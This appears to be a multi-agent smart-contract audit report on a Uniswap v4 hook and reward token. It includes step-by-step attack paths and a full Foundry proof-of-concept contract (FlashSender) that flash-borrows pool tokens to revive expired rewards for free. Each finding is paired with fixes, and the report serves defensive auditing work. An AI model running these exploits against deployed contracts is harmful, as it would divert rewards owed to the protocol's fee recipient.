report

Identity-md/research/blob/main/jobs/882666b4-08cf-476b-ac4f-7c2e44399300/_identitymd/README.md

Four agents audited the code as it is at 331230c, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

Download the report (Markdown) · archived copy on GitHub

2 high1 medium1 low2 info

• 1.high_transfer forfeits with the live weight and has no unlock guard: a send while holding flash-borrowed pool $COMPANY revives an inactive wallet's expired rewards at zero cost (reopens 363ab052 findings contracts/src/CompanyToken.sol:366

              if (!fromSystem && _inactive(from)) _forfeit(from);

  The 363ab052 finding-1 fix makes _transfer call _forfeit(from) (line 366; line 367 for a receiver that pulls with transferFrom) before the send resets lastActive. _forfeit takes the amount from expiredRewardsOf, whose non-expiring 'recent' part is (magnifiedRewardPerShare - magAt(now - 7d - 1)) x weightOf(holder) / MAGNITUDE with weightOf read from the CURRENT balance (line 548). claim() and recycle() refuse to run while the PoolManager is unlocked for exactly this reason (363ab052 finding 2), but transfers must work mid-unlock (every sell is one), and nothing in _transfer distinguishes a balance that was taken from the PoolManager a moment earlier.

  A receipt from the PoolManager is deliberately not activity and forfeits nothing (78c00339 finding 4), so inside its own unlock a contract can pm.take() the pool's whole $COMPANY (about 1e9 tokens, most of the supply) to the inactive wallet, then return it with transferFrom(wallet, PoolManager) (the wallet pre-approved the helper; approve is not activity) or have the wallet send 1 wei.

  That send runs _forfeit(wallet) with weight = the borrowed balance: 'recent' becomes (last-7-day per-share growth) x (nearly the whole supply), which is at least the TOTAL IMD distributed to all holders in the last 7 days, so it exceeds the wallet's backlog and expired = 0 for every asset. Nothing is forfeited, lastActive is reset, the tokens go back and the unlock settles.

  Afterwards expiredRewardsOf is 0 (timer fresh) and a later claim() pays the entire backlog in all six assets.

  Preconditions: one distribution of each asset inside the last 7 days (any traded token has one for IMD; a claim or convert in the window gives one per stock) and the pool holding most of the supply (always).

  Cost: gas only; no swap, no fee, no capital.

  Victim: the fee recipient, who should have received the expired rewards. AUDIT.md section 7 says the flash-loan variant is closed because claim and recycle refuse to run mid-unlock; the transfer path reopens it. Reproduced with the specialist proof .imd/reads/proofs/Proof_37c04bb2b060.t.sol (fails here: 'expired rewards must be forfeited by the send: 0 != 599999999999999999') and with the attached fix-agnostic test.

  Merged from audit_math, audit_flow (second finding), audit_economics (first finding) and audit_permissions, which all describe this path. The companion markActive path is reported separately (next finding) because a hook-side fix alone does not close this one.

  Fix options that keep transfers free of external calls: (a) record in transient storage the $COMPANY each address received from the PoolManager in this transaction (moving the tag along when forwarded, clearing it when returned to the PoolManager) and have expiredRewardsOf/_forfeit use weight minus that amount, so a borrowed balance never counts toward 'recent' (tokens just bought did not earn in the window either, so the estimate stays holder-favourable); or (b) never reactivate an already-inactive wallet from a send unless msg.sender is CompanyRouter/CompanyEthRouter (whose unlock cannot be nested, so no borrow is possible): leave lastActive untouched and forfeit nothing, so the wallet comes back only through claim() (unlock-guarded) or a router trade.

  Option (b) changes the documented 'sending brings a wallet back' rule and test_final1. A staticcall to poolManager.isUnlocked() inside _transfer (skip forfeit and reset when unlocked and msg.sender is not a router) also works but adds the external call the scanner notes avoid. The attached proof passes under (a), (b) or the isUnlocked variant.

  whole finding

  Setup as in Company.t.sol (IMD/USDG 10,000e18 liquidity, start mcap 306 IMD). alice buys 20 IMD, bob buys 20 IMD (alice's own deferred holder fee and bob's are both distributed to alice, the only holder: 0.6 IMD). warp +8 days; bob buys 10 IMD (one distribution inside alice's last 7 days). expiredRewardsOf(alice,0) = 599999999999999999, withdrawableRewardOf(alice,0) = 0.679e18. alice approves helper F (approve is not activity).

  F.run(alice): pm.unlock -> pm.take($COMPANY, alice, balanceOf(pm)) -> pm.sync -> token.transferFrom(alice, pm, borrowed) -> pm.settle.

  Expected: the expired 0.6 IMD is forfeited into recycledHeld[0] before the timer resets (as in test_final1_selfTransferForfeitsExpiredFirst), or the timer is left alone; alice's next claim pays at most 0.079 IMD.

  Actual: recycledHeld(0) == 0, lastActive(alice) == block.timestamp, expiredRewardsOf(alice,0) == 0 and alice's next claim() pays 0.679 IMD, the full backlog; recycle(alice) moves nothing.

  Run: cd contracts; forge test --match-path test/scratch/TransferFlashBorrow.t.sol (fails: 'the expired backlog must stay expired or be held for the protocol, not revived: 0 != 599999999999999999').

  The same test passes with the 49 existing tests once mid-unlock sends by untrusted callers stop reactivating an inactive wallet or once the forfeit weight excludes tokens taken from the PoolManager in the same transaction.

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {PoolManager} from "v4-core/src/PoolManager.sol";
  import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
  import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
  import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
  import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
  import {TickMath} from "v4-core/src/libraries/TickMath.sol";
  import {PoolKey} from "v4-core/src/types/PoolKey.sol";
  import {Currency} from "v4-core/src/types/Currency.sol";
  import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
  
  import {CompanyHook} from "src/CompanyHook.sol";
  import {CompanyToken} from "src/CompanyToken.sol";
  import {CompanyRouter} from "src/CompanyRouter.sol";
  import {DeployLib} from "script/DeployLib.sol";
  
  contract SErc20 {
      uint8 public decimals = 18;
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      function mint(address to, uint256 amt) external {
          balanceOf[to] += amt;
      }
  
      function approve(address s, uint256 amt) external returns (bool) {
          allowance[msg.sender][s] = amt;
          return true;
      }
  
      function transfer(address to, uint256 amt) external returns (bool) {
          balanceOf[msg.sender] -= amt;
          balanceOf[to] += amt;
          return true;
      }
  
      function transferFrom(address f, address to, uint256 amt) external returns (bool) {
          if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
          balanceOf[f] -= amt;
          balanceOf[to] += amt;
          return true;
      }
  }
  
  contract SFeed {
      function decimals() external pure returns (uint8) {
          return 8;
      }
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 1e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  /// @notice Inside one unlock: borrows the pool's $COMPANY to `holder` (a receipt from the PoolManager is not activity
  ///         and forfeits nothing), then repays it with transferFrom(holder). That repayment is the holder's "send", so
  ///         _transfer forfeits with the borrowed tokens counted as weight and then resets the holder's timer.
  contract FlashSender is IUnlockCallback {
      IPoolManager immutable pm;
      CompanyToken immutable t;
      address holder;
  
      constructor(IPoolManager pm_, CompanyToken t_) {
          pm = pm_;
          t = t_;
      }
  
      function run(address holder_) external {
          holder = holder_;
          pm.unlock("");
      }
  
      function unlockCallback(bytes calldata) external returns (bytes memory) {
          uint256 borrowed = t.balanceOf(address(pm));
          pm.take(Currency.wrap(address(t)), holder, borrowed);
          pm.sync(Currency.wrap(address(t)));
          t.transferFrom(holder, address(pm), borrowed);
          pm.settle();
          return "";
      }
  }
  
  contract TransferFlashBorrowTest is Test {
      uint256 constant SUPPLY = 1_000_000_000e18;
      int24 constant FULL_90 = 887220;
      int24 constant FULL_60 = 887220;
  
      PoolManager pm;
      SErc20 imd;
      CompanyHook hook;
      CompanyToken token;
      CompanyRouter router;
      address alice = makeAddr("alice");
      address bob = makeAddr("bob");
      address owner = makeAddr("owner");
      address feeRecipient = makeAddr("feeRecipient");
  
      function _key(address a, address b, uint24 fee, int24 ts) internal pure returns (PoolKey memory) {
          (address c0, address c1) = a < b ? (a, b) : (b, a);
          return PoolKey(Currency.wrap(c0), Currency.wrap(c1), fee, ts, IHooks(address(0)));
      }
  
      function setUp() public {
          vm.warp(1_800_000_000);
          pm = new PoolManager(address(this));
          imd = new SErc20();
          SErc20 usdg = new SErc20();
          PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(pm);
          imd.mint(address(this), 10_000_000e18);
          usdg.mint(address(this), 10_000_000e18);
          imd.approve(address(lp), type(uint256).max);
          usdg.approve(address(lp), type(uint256).max);
  
          PoolKey memory imdUsd = _key(address(imd), address(usdg), 9000, 90);
          pm.initialize(imdUsd, TickMath.getSqrtPriceAtTick(0));
          lp.modifyLiquidity(imdUsd, ModifyLiquidityParams(-FULL_90, FULL_90, 10_000e18, 0), "");
  
          CompanyToken.Pool[5] memory pools;
          address[5] memory stocks;
          address[5] memory feeds;
          for (uint256 i; i < 5; i++) {
              SErc20 s = new SErc20();
              s.mint(address(this), 10_000_000e18);
              s.approve(address(lp), type(uint256).max);
              PoolKey memory k = _key(address(usdg), address(s), 3000, 60);
              pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
              lp.modifyLiquidity(k, ModifyLiquidityParams(-FULL_60, FULL_60, 1_000_000e18, 0), "");
              pools[i] = CompanyToken.Pool(3000, 60);
              stocks[i] = address(s);
              feeds[i] = address(new SFeed());
          }
  
          bytes memory initCode = abi.encodePacked(
              type(CompanyHook).creationCode,
              abi.encode(
                  pm,
                  address(imd),
                  owner,
                  feeRecipient,
                  DeployLib.startTickForMarketCap(306e18, SUPPLY),
                  CompanyHook.ImdEthPool(10_000, 100, address(0))
              )
          );
          uint160 flags = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
          (bytes32 salt, address expected) = DeployLib.mineSalt(address(this), flags, initCode, 0);
          address deployed;
          assembly {
              deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
          }
          require(deployed == expected, "hook address");
          hook = CompanyHook(payable(deployed));
          router = CompanyRouter(payable(hook.router()));
          token = new CompanyToken(
              address(hook), address(usdg), CompanyToken.Pool(9000, 90), stocks, pools, address(new SFeed()), feeds
          );
          vm.prank(owner);
          hook.openPool(address(token));
  
          address[2] memory users = [alice, bob];
          for (uint256 i; i < 2; i++) {
              imd.mint(users[i], 1_000_000e18);
              vm.prank(users[i]);
              imd.approve(address(router), type(uint256).max);
          }
      }
  
      function _buy(address who, uint256 imdIn) internal {
          vm.prank(who);
          router.buy(address(token), imdIn, 0, block.timestamp);
      }
  
      function test_sendWithBorrowedPoolTokensRevivesExpiredRewards() public {
          _buy(alice, 20e18);
          _buy(bob, 20e18);
          vm.warp(block.timestamp + 8 days);
          _buy(bob, 10e18); // one distribution inside alice's last 7 days
  
          uint256 expired = token.expiredRewardsOf(alice, 0);
          uint256 withdrawable = token.withdrawableRewardOf(alice, 0);
          assertGt(expired, 0, "alice has expired IMD rewards");
  
          FlashSender f = new FlashSender(IPoolManager(address(pm)), token);
          vm.prank(alice);
          token.approve(address(f), type(uint256).max); // approve is not activity
          f.run(alice); // no capital: the pool's tokens are borrowed and returned in the same unlock
  
          // Expected: the backlog that had expired is either still expired or held for the protocol (as after the
          // 1-wei self-transfer of test_final1_selfTransferForfeitsExpiredFirst). Actual: it is withdrawable again.
          assertEq(
              token.expiredRewardsOf(alice, 0) + token.recycledHeld(0),
              expired,
              "the expired backlog must stay expired or be held for the protocol, not revived"
          );
          vm.prank(alice);
          uint256[6] memory paid = token.claim();
          assertEq(paid[0], withdrawable - expired, "only the last 7 days may be paid");
      }
  }

  whole proof

• 2.highafterSwap calls markActive(tx.origin) inside the swapper's own unlock: a dust buy made while holding flash-borrowed pool $COMPANY resets an inactive EOA's timer without forfeiting (same flash bypass tcontracts/src/CompanyHook.sol:328

          if (isBuy) CompanyToken(t).markActive(trader);

  A hook callback runs only inside an unlock, so CompanyToken.markActive(trader) (CompanyToken.sol:399-404) always executes mid-unlock.

  For a swap whose sender is not CompanyRouter/CompanyEthRouter the trader is tx.origin (line 326), and that swapper controls the whole unlock: before swapping it can pm.take() the pool's $COMPANY to tx.origin (a receipt from the PoolManager is not activity and forfeits nothing). markActive then evaluates _inactive(buyer) -> _forfeit(buyer) with weightOf(tx.origin) inflated by the borrowed tokens, 'recent' exceeds the backlog, nothing is forfeited and lastActive[buyer] = block.timestamp.

  The helper repays with transferFrom(eoa, pm, borrowed - bought) (one-time approval of the attacker's own helper; the wallet is already active at that point so no forfeit happens there either), returns the output and settles.

  Cost: a 0.001 IMD buy (0.00004 IMD fee) plus gas; the borrow is free under v4 flash accounting. Precondition as in the previous finding: one distribution of each asset inside the last 7 days such that (pool balance / eligibleSupply) x the asset credited in the window >= the wallet's backlog, which holds for ordinary holders and which the attacker can create with a small buy from a second wallet.

  The router paths are safe: PoolManager.unlock reverts AlreadyUnlocked when nested, so nobody can hold borrowed tokens during a CompanyRouter/CompanyEthRouter unlock. The claim()/recycle() isUnlocked() guard cannot be applied to markActive, which is by construction mid-unlock. Merged from audit_flow (first finding), audit_economics (second finding) and the markActive halves of audit_math and audit_permissions.

  Fix options that keep the agreed design: (a) in afterSwap call markActive only when sender == router || sender == ethRouter, and document that buys through other routers do not refresh the timer (this is already the case for contract wallets, see the info finding below); or (b) pass trusted = (sender == router || sender == ethRouter) and have markActive leave an inactive buyer untouched when !trusted (an active buyer is still refreshed; an inactive one comes back through claim() or a router trade); or (c) the transient-storage 'received from the PoolManager this transaction' tag of the previous finding, which makes the forfeit weight borrow-proof for both paths at once.

  Option (a) alone does not close the previous finding; a root-cause fix (c) closes both. The attached proof records the state right after the buy, so it passes under any of (a), (b) or (c) independently of how the transfer path is fixed.

  whole finding

  Setup as in Company.t.sol. alice buys 20 IMD; bob buys 20 IMD; warp +8 days; bob buys 10 IMD. expiredRewardsOf(alice,0) = 599999999999999999, lastActive(alice) = 8 days ago. alice approves helper F for $COMPANY and signs a transaction calling F.run(alice) (tx.origin = alice; the test uses vm.prank(alice, alice)).

  In unlockCallback: pm.take($COMPANY, alice, balanceOf(pm)); pm.swap(hook pool, exact-in 1e15 IMD, hookData ''); the state is recorded; the IMD is settled; transferFrom(alice, pm, borrowed - bought); settle.

  Expected (as for a router buy in test_expiry_giftDoesNotResetTimer_buyDoes_afterForfeiting): right after the buy either lastActive(alice) is unchanged or recycledHeld(0) == 0.6e18.

  Actual: lastActive(alice) == block.timestamp and recycledHeld(0) == 0 (the hook's own Trade event logs alice as the buyer); after the transaction expiredRewardsOf(alice,0) == 0 and the 0.6 IMD backlog is claimable again; recycle(alice) moves nothing.

  Run: cd contracts; forge test --match-path test/scratch/MarkActiveFlashBorrow.t.sol (fails: 'the buy reset the timer with nothing forfeited: the expired backlog was revived'); it passes once afterSwap only marks router-reported buyers (verified against this tree with that one-line change: proof passes, 49/49 existing tests pass) or once the forfeit weight excludes tokens taken from the PoolManager in the same transaction.

  whole reproduction

• 3.mediumIMD/USDG pool counts as empty only when maxConvert() is exactly 0: a dust position (10,000 liquidity units, 10,000 wei each side) stops the 30-day IMD fallback from ever firing and turns every round icontracts/src/CompanyToken.sol:636

          if (cap == 0) {

  _convertAll detects an IMD/USDG pool with no liquidity at its price as cap == 0, where cap = maxConvert() / 5 and maxConvert() = in-range virtual IMD depth x 25 / 10,000 (capped at 20 IMD). cap is zero only while that depth is below 2,000 wei.

  Any full-range position of 10,000 liquidity units (10,000 wei of IMD and 10,000 wei of USDG at a 1:1 price, i.e. nothing) keeps maxConvert() at 25 wei and cap at 5 wei: imdPoolEmptySince is cleared (lines 641-643) or never started, the DEAD_AFTER fallback of 363ab052 finding 3 can never trigger, and each stock's round proceeds with imdIn = 5 wei.

  Because cap / 100 == 0 the stock-pool emptiness floor of finding 4 (line 657) is disabled as well, and convertStock(a, 5) either buys a few wei of stock or reverts Slippage and _fallBackToImd pays 5 wei; either way lastConvert[a] is set, the per-minute slot is consumed, and the reserves (10% x 5 of all holder fees since the real liquidity left) stay locked: 40 daily rounds move 200 wei of a 6 IMD reserve.

  This is the harm 363ab052 finding 3 (Medium) was fixed for, reachable with liquidity that abandoned pools commonly keep (dust left by rounding or never-withdrawn positions) or that anyone can add for the cost of gas. The symmetric check for stock pools uses a 1%-of-round floor; the first hop uses == 0. No third-party loss (value stays in pendingConvert), hence Medium like the original rather than High.

  Fix: treat the IMD/USDG pool as empty when maxConvert() is below a meaningful floor, e.g. maxConvert() < MAX_ROUND_IMD / 100 (0.2 IMD, about 80 IMD of virtual depth against ~19,750 at launch), so dust depth starts and keeps the imdPoolEmptySince clock and rounds are not spent on sub-dust swaps; keep the floor well below the real pool's depth so a healthy pool is never declared empty.

  whole finding

  Setup as in Company.t.sol: alice and bob buy 1,000 IMD each (pendingConvert[a] = 6e18 for every stock).

  Remove the 10,000e18 full-range IMD/USDG liquidity; warp +1 minute; convert() sets imdPoolEmptySince = now.

  Anyone adds a full-range position of 10,000 liquidity units (the test measures 10,000 wei of IMD and 10,000 wei of USDG spent).

  Now maxConvert() == 25 wei, cap == 5 wei. warp +31 days, refresh feeds, convert().

  Expected (README and AUDIT.md section 6 finding 3): the pool has had no usable liquidity for 30 days, so each stock's 4 IMD round is paid to holders as IMD (owed(0) grows by 20e18) and imdPoolEmptySince stays set.

  Actual: imdPoolEmptySince == 0, owed(0) unchanged, pendingConvert(1) moves by 5 wei, lastConvert(1) consumed.

  A second test runs 40 daily rounds with the dust position in place: pendingConvert(1) == 5999999999999999800 afterwards and imdPoolEmptySince == 0 throughout.

  Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test dustImdPool -vv (test_dustImdPool_keeps30DayFallbackFromFiring fails with 'after 30 days without usable liquidity every stock round is paid as IMD: 0 != 20000000000000000000').

  whole reproduction

• 4.lowA feed that is unusable for a single round (reverting call, short return data, answer <= 0) is treated as dead at once, not after DEAD_AFTER, so that stock's round is paid as IMD immediatelycontracts/src/CompanyToken.sol:824

              return answer <= 0 || updatedAt == 0 ? type(uint256).max : 0;

  The request, README and the DEAD_AFTER NatSpec say a feed 'dead or unusable for DEAD_AFTER (30 days)' hands rounds to holders as IMD, and that a stale feed holds the stock.

  In code _feedAge returns type(uint256).max whenever latestRoundData reverts or returns fewer than 160 bytes (line 821) or reports answer <= 0 or updatedAt == 0 (line 824), and _feedsDead compares that to DEAD_AFTER (line 806), so a feed that is unusable right now is dead for this round: _convertAll takes the !_feedsFresh branch and calls _fallBackToImd(a, imdIn) at once (lines 664-667).

  Only the stale case (successful call, positive answer, updatedAt older than 4 days) gets the 30-day grace. Chainlink aggregator proxies can revert ('No data present') or report a zero answer transiently during an aggregator swap or incident; during such a window every claim() or convert() (one round per minute per stock) credits up to 4 IMD of that stock's reserve to holders as IMD, and a USDG/USD feed doing so affects all five stocks.

  Holders receive the value as IMD, so the loss is the stock exposure, not funds, and nobody outside Chainlink can trigger it, hence Low. Merged from audit_math, audit_flow and audit_economics (identical finding).

  Fix: only treat an unusable feed as dead after it has been unusable for DEAD_AFTER, e.g. remember per feed the last time it returned a usable answer (updated whenever _readFeed succeeds) and in _feedAge return block.timestamp - lastGood[feed] for an unusable response (max only when it has never been readable); or treat an unusable feed as merely stale (continue) and reserve the dead branch for a usable feed whose updatedAt is older than DEAD_AFTER.

  whole finding

  Setup as in Company.t.sol: alice and bob buy 1,000 IMD each (pendingConvert[1] = 6e18, deep pools, all feeds fresh). warp +1 minute.

  Input A: the NVDA feed returns answer = 0 with updatedAt = block.timestamp (MockFeed.set(0, block.timestamp)); call convert().

  Input B: the NVDA feed's latestRoundData reverts (vm.etch of a reverting feed); call convert().

  Expected in both cases (as for a stale feed in test_recheck1_staleFeed_holdsThatStock): NVDA skipped, pendingConvert(1) still 6e18, owed(0) unchanged, and only after 30 days of that is a round paid as IMD.

  Actual in both cases: pendingConvert(1) == 2e18 and owed(0) grows by 4e18 in the same call (ConversionFailed(1, 4e18)); the next minute's call converts the next 4 IMD the same way while the outage lasts.

  Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test Feed_isDeadAtOnce -vv (both tests fail with '... should hold the stock until DEAD_AFTER: 2000000000000000000 != 6000000000000000000').

  whole reproduction

• 5.infoA contract wallet's buy through any router other than CompanyRouter/CompanyEthRouter is credited as activity to tx.origin (its relayer or signer), never to the buyercontracts/src/CompanyHook.sol:326

              : tx.origin;

  For swaps whose sender is not CompanyRouter/CompanyEthRouter, afterSwap marks tx.origin active (lines 324-328). A smart-contract wallet (Safe, ERC-4337 account, any contract) that buys $COMPANY through the Universal Router, an aggregator or PoolSwapTest can never be tx.origin: markActive(relayer or bundler) resets a timer that owns no rewards, and the buyer's lastActive is untouched.

  Receipts from the PoolManager are deliberately not activity (78c00339 finding 4), so such a buyer has no buy-based path back and must claim or send to stay active; the README's rule 'buying keeps a wallet active' does not hold for that class.

  The NatSpec and README do say 'otherwise the transaction's signer', so this is a documented limit; no funds are at risk and nobody can exploit it (the fallback never credits anyone with rewards, and marking a wallet active only ever moves its expired part to the protocol first).

  Reported as information: either state plainly that only EOAs and CompanyRouter/CompanyEthRouter buyers get buy activity, route contract wallets through the Company routers on the website, or (if the hook stops marking non-router buyers, as the second finding's option (a) suggests) document that only router buys count. Merged from audit_math (info) and audit_permissions (low); rated info because the behaviour is documented and harmless to third parties.

  whole finding

  Setup as in Company.t.sol.

  Contract wallet W (any contract address) holds IMD and buys 20 IMD of $COMPANY through PoolSwapTest in a transaction signed by relayer R (vm.prank(W, R)); its first receipt makes lastActive(W) = t0. bob buys 20 IMD (a distribution). warp +6 days; W buys 1 IMD again through PoolSwapTest with tx.origin = R.

  Expected: lastActive(W) == now.

  Actual: lastActive(W) == t0 and lastActive(R) == now. warp +2 days: expiredRewardsOf(W, 0) > 0 although W bought two days earlier, and anyone can recycle it.

  Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test contractWalletBuy -vv (the test asserts the actual behaviour and passes; its logs show lastActive(wallet) = 1800000000, lastActive(signer) = 1800518400).

  whole reproduction

• 6.infoimdPoolEmptySince is only cleared by a convert that sees liquidity, so a pool that had liquidity for the whole 30 days can still be declared dead if it is empty at two conversions 30 days apart with ncontracts/src/CompanyToken.sol:637

              if (imdPoolEmptySince == 0) imdPoolEmptySince = block.timestamp;

  The 30-day clock starts at the first _convertAll that reads cap == 0 and is reset only by a later _convertAll that reads cap > 0 (lines 636-643). Time during which the pool had liquidity but nobody called claim() or convert() does not refresh it. If the pool is seen empty at its price at two conversions more than 30 days apart with no conversion in between, the second one pays all five stocks' rounds (up to 20 IMD) as IMD although the pool was usable the whole time.

  On a live token this needs 30 days without any claim (every claim converts) and the pool empty at its price at both instants, so it is not triggerable early and not practical against a traded pool; holders still receive full value as IMD, which section 7 already accepts for purchases made to fail on purpose. Reported for completeness because the guarantee as written ('no liquidity at its price for 30 days') is not what is measured.

  Possible tightening: require the empty observation to be re-confirmed within a window (e.g. clear imdPoolEmptySince when more than DEAD_AFTER has passed since it was last confirmed empty, re-arming the clock instead of firing), or let any successful stock conversion clear it.

  whole finding

  Setup as in Company.t.sol: alice and bob buy 1,000 IMD each; warp +1 minute; remove all IMD/USDG liquidity; convert() sets imdPoolEmptySince = now; re-add the 10,000e18 liquidity. warp +31 days with no claim or convert; refresh feeds; remove the liquidity again and call convert().

  Expected: no fallback (the pool had liquidity for the whole 31 days).

  Actual: owed(0) grows by 20e18 (five 4 IMD rounds paid as IMD).

  Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test imdPoolEmptySince -vv (fails with 'pool had liquidity for the whole period: no fallback: 50000000000000000000 != 30000000000000000000').

  whole reproduction

1. postedunder a minuteto the first attempt
2. reviewed
   #1545Audit permissionsClaudeclone failedon the agent's machine: submodules did not fetch: Submodule 'contracts/lib/forge-std' (https://github.com/foundry-rs/forge-std) …retried on #1067 (Claude)

   submodules did not fetch: Submodule 'contracts/lib/forge-std' (https://github.com/foundry-rs/forge-std) registered for path 'contracts/lib/forge-std' Submodule 'contracts/lib/v4-core' (https://github.com/Uniswap/v4-core) registered for path 'contracts/lib/v4-core' Cloning into 'C:/Users/hiper/.identitymd/work/882666b4-08cf-476b-ac4f-7c2e44399300/413c7aa8-cabf-4bf8-9ac1-c25062417db4/contracts/lib/forge-std'... Cloning into

   ran onclaude · 26s

   submissionb727e5df6ea37bd306a4a2c20425411b1a66b2957d6f46eee2fe2c627ea5743e

   device60ffae3cc413a0c6224df6bc05124e6333bde3a246f6ba4402666012ee26253b

   started from331230c2d46e1d6079bcafb2caba8ce288328a5b

   bundlenone

   changed · 0 filesnothing

   #1067Claude2 findings · 1 high

   I found two problems: one high, one low. Both are written to .imd-findings.json. The first change (the forfeit in _transfer) reopens the flash-loan way around expiry that the last check had closed. All 50 local tests pass, and so does the live fork test.

   Findings

   1. High: borrowed pool tokens let an inactive wallet skip the forfeit (contracts/src/CompanyToken.sol:366, and markActive at line 402)

   • Cause: claim() and recycle() now refuse to run while the PoolManager is unlocked, because borrowed pool tokens can inflate a wallet's weight. The new forfeit in _transfer and in markActive does the same calculation but has no such check. The "recent" part of rewards is still computed from the wallet's weight at that moment (line 548).
   • How it's done: inside its own unlock, the inactive wallet borrows the pool's $COMPANY to itself. Receiving from the PoolManager isn't activity, so its timer doesn't change. It then sends the tokens back with transferFrom (or makes a direct buy, signed by itself). The forfeit counts the borrowed tokens as weight, forfeits nothing and resets the timer. A normal claim() afterwards pays the whole backlog. No capital is needed, only one distribution in the last 7 days.
   • Reproduced: alice and bob each buy 20 IMD, 8 days pass, bob buys 10 IMD. alice has 0.6 IMD expired.
     • Expected: recycledHeld(0) = 0.6e18.
     • Actual: 0, and her next claim pays the full 0.679 IMD.
     • Through the buy path, borrowing half the pool, only 0.018 of the 0.6 IMD is forfeited.
   • Proof: a self-contained Foundry test is attached to the finding. It fails on this code with 0 != 599999999999999999.
   • Docs: AUDIT.md section 7 says this flash variant is closed; that is no longer true.
   • Fix:
     • Option 1: keep borrowed tokens out of the forfeit weight, e.g. track same-transaction receipts from the PoolManager in transient storage. This adds no external call to transfers.
     • Option 2: compute "recent" from the weight the wallet held when it was last active.

   2. Low: contract wallets buying through any other router never count as active (contracts/src/CompanyHook.sol:324)

   • Cause: for any swap not sent by CompanyRouter or CompanyEthRouter, the hook marks tx.origin. A Safe or ERC-4337 account can never be tx.origin, so its buys are never recorded. The signer's or bundler's timer is reset instead.
   • Reproduced: a contract wallet buys through PoolSwapTest, buys again 6 days later, and 2 days after that all 0.6 IMD of its rewards have expired.
   • Fix: the hook records the amount bought for the transaction (hook-only, transient storage), and _transfer counts a receipt from the PoolManager as activity only up to that amount. A 1-wei move with no buy still doesn't count. Otherwise, document that only plain wallets and the project's routers get buy activity.

   The six changes

   1. Forfeit in _transfer:
      • The order of forfeit, then balance change, then weight correction is right.
      • The six reward assets stay solvent, because the forfeit only moves amounts from owed to recycledHeld, and both distribute functions count recycledHeld as already owed.
      • It makes no external call and can't revert or block a transfer.
      • The only defect is finding 1.
   2. claim()/recycle() refuse mid-unlock: confirmed. The routers never claim, so nothing breaks.
   3. 30-day fallback to IMD:
      • Feeds can't be made to look dead early.
      • Faking an empty IMD/USDG pool needs a price push that then goes unchallenged for 30 days, and any claim or convert() in between resets the clock. Not a practical attack.
   4. Dust stock pool counts as empty: works as described. A deliberate failed purchase still turns one round into IMD, which AUDIT.md already accepts.
   5. minStockOut: correct. The IMD/USDG fee is already in the USDG received, so only the stock pool's fee needs removing.
   6. Buys mark activity:
      • markActive is hook-only, and the routers a

   ran onclaude · claude-opus-5-5 · 27 turns · 12m 22s · 50 in · 37.7K out · 2.2M cached

   submission068a4c30afb9c516edde2a3d11405d35a968b424bb45089ad4da551e02de70b6

   device759c614fdc84ff665ba450b6daba8b6ee6e829dc44de5308a44f3f880d107fa2

   started from331230c2d46e1d6079bcafb2caba8ce288328a5b

   bundlenone

   changed · 0 filesnothing

   • highFlash-borrowed pool $COMPANY inflates the weight _transfer/markActive use to forfeit, so an inactive wallet resets its timer forfeiting nothing (flash bypass of expiry reopened)contracts/src/CompanyToken.sol:366

     The 363ab052 finding 2 fix makes claim() and recycle() revert while the PoolManager is unlocked, because mid-unlock a wallet can borrow the pool's $COMPANY and inflate the weight that expiredRewardsOf uses for 'recent' rewards (line 548: recent = (mag - magAt(now-7d)) x weightOf(holder)). The new forfeit-before-reset in _transfer (line 366/367) and in markActive (line 402) runs that same computation, but with no unlock guard.

     An inactive wallet can therefore, inside its own unlock: take() the pool's $COMPANY to itself (a PoolManager receipt is not activity, so lastActive is unchanged), then send it back (transferFrom(holder, PoolManager) by its approved helper, or a buy whose afterSwap marks tx.origin). _forfeit reads the borrowed balance as weight, 'recent' covers the whole backlog and 0 is forfeited, then lastActive is set to now.

     In a later transaction claim() finds the wallet active and pays the whole backlog. AUDIT.md section 7 says the flash variant is closed because claim/recycle refuse to run mid-unlock. That is no longer true: no capital is needed, only one distribution in the last 7 days (any routed trade) and a pool holding most of the supply.

     Fix: let borrowed tokens never count in the forfeit weight. For example, record per account in transient storage the $COMPANY received from the PoolManager in this transaction and subtract it from the weight _forfeit/expiredRewardsOf use. That keeps transfers free of external calls.

     Alternatively, compute 'recent' from the weight held at lastActive (the balance can only have grown since then without activity).

     whole finding

     Local suite setup (IMD/USDG 9000/90, stock pools 3000/60, start mcap 306 IMD). alice buys 20 IMD and bob buys 20 IMD through CompanyRouter.

     Warp 8 days. bob buys 10 IMD (one distribution inside alice's 7-day window). expiredRewardsOf(alice,0) = 0.6 IMD, withdrawable 0.679 IMD. alice approves helper F (approve is not activity).

     F.run: pm.unlock -> take(COMPANY, alice, pm balance) -> sync -> COMPANY.transferFrom(alice, pm, same) -> settle.

     Expected: recycledHeld(0) == 0.6e18 (as for the 1-wei self-transfer in test_final1), and a later claim pays 0.079 IMD.

     Actual: recycledHeld(0) == 0, lastActive(alice) == now, and alice's next claim() pays 0.679426 IMD, the full backlog.

     The proof test fails with '0 != 599999999999999999'.

     The markActive path behaves the same way.

